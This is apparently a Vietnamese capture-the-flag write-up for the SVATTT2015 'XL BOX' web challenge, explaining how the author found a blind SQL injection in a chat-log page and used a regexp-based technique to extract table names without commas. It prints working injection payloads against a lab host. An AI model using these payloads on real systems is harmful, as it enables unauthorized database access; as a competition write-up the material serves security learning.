[UIT với SVATTT2015] Web 200: XL BOX

Web200: Xàm Lông BOX

Vâng đây quả là một đề bài vô cùng chính xác khi mà chatbox toàn xuất hiện message xin flag hoặc những kí tự khó hiểu đối với người bình thường.

Tính mình thì cũng hay tò mò nên reg thử cái nick vào chat cho vui, overview sơ bộ thì trang web nay có những tính năng sau:
+Chat (hiển nhiên)
+View Chat log của user
+SQL injection :chaymau:

OK mình tạo 1 nick có username là huhuh, sau khi chat vài câu blame ban tổ chức thì mình click lại vào nick của mình và redirect được đến trang log chat.

http://192.168.20.214/xlbox/soisoi.php?user=huhuh

Nhìn vào thì đã đến lúc sử dụng tính năng SQL injection mà ban tổ chức đã cung cấp. Fuzzing thử phát

http://192.168.20.214/xlbox/soisoi.php?user=huhuh’ or 1=1– –

ra log của user đầu tiên của page (tinduong)

http://192.168.20.214/xlbox/soisoi.php?user=huhuh’ or 1=2– –

ra log của mình
 Blind được này
Nhưng mà khi blind bằng hàm substr , thì tính năng không hoạt động. Nghĩ về nó một tí, ắt hẳn đã bị filter đâu đây => check filter cái gì thôi

http://192.168.20.214/xlbox/soisoi.php?user=huhuh’ or 1=1– – substr , . / union select ( )

(bất cứ cái gì mà bạn muốn thử xem có bị xóa hay không. Mình check filter như vậy vì sau kí tự comment mọi thứ đều vô nghĩa)
sau khi chạy câu query trên thì nhìn vào log page sẽ thấy cái nào bị filter

Như vậy mình sẽ tóm gọn lại bài này như sau
Blind sqli không sử dụng dấu phẩy vào trang view log chat của user!
Ở đây giới thiệu với các bạn một kĩ thuật trong tấn công sqli là Regexp Attack. Khái niệm Regexp thì google nhé :putnam:
Lợi dụng regexp để blind tên bảng, tên cột, và tên FLAG!
Chúng ta bắt đầu từ đây:

http://192.168.20.214/xlbox/soisoi.php?user=huhuh’ and 1=(SELECT 1 FROM information_schema.tables where table_schema=database() and binary table_name regexp ‘^X’)– –

Với X thuộc [a-zA-Z0-9]
Giải thích câu query ở trên cho bạn nào chưa biết:
Thực chất câu Query nó vẫn là

http://192.168.20.214/xlbox/soisoi.php?user=huhuh’ and 1=1– –

(nếu mệnh đề ở sau đúng), sẽ trả về log chat của user huhuh

http://192.168.20.214/xlbox/soisoi.php?user=huhuh’ and 1=0– –

(nếu mệnh đề ở sau sai), sẽ trả về user không tồn tại.
Như vậy kêt quả sẽ trả về 1 nếu như column table_name thuộc bảng information_schema.tables bắt đầu bằng chữ a

i.e : information_schema.tables where table_schema=database() and binary table_name regexp ‘^a’)– –

nếu không phải chữ a thì thử tiếp a b c d cho hết cái phạm vi X ở trên.
Giả sử chữ đầu tiên của table_name là a, tiếp tục thử chữ thứ 2
i.e: information_schema.tables where table_schema=database() and binary table_name regexp '^ab’)-- -
nếu không phải chữ b thì thử tiếp a c d e f……. cho hết cái phạm vi X ở trên
Như vậy ta đã blind xong tên table
Các bạn biết làm gì tiếp theo rồi chứ?

Advertisements

Leave a Reply

Fill in your details below or click an icon to log in:

WordPress.com Logo

You are commenting using your WordPress.com account. Log Out /  Change )

Google+ photo

You are commenting using your Google+ account. Log Out /  Change )

Twitter picture

You are commenting using your Twitter account. Log Out /  Change )

Facebook photo

You are commenting using your Facebook account. Log Out /  Change )

Connecting to %s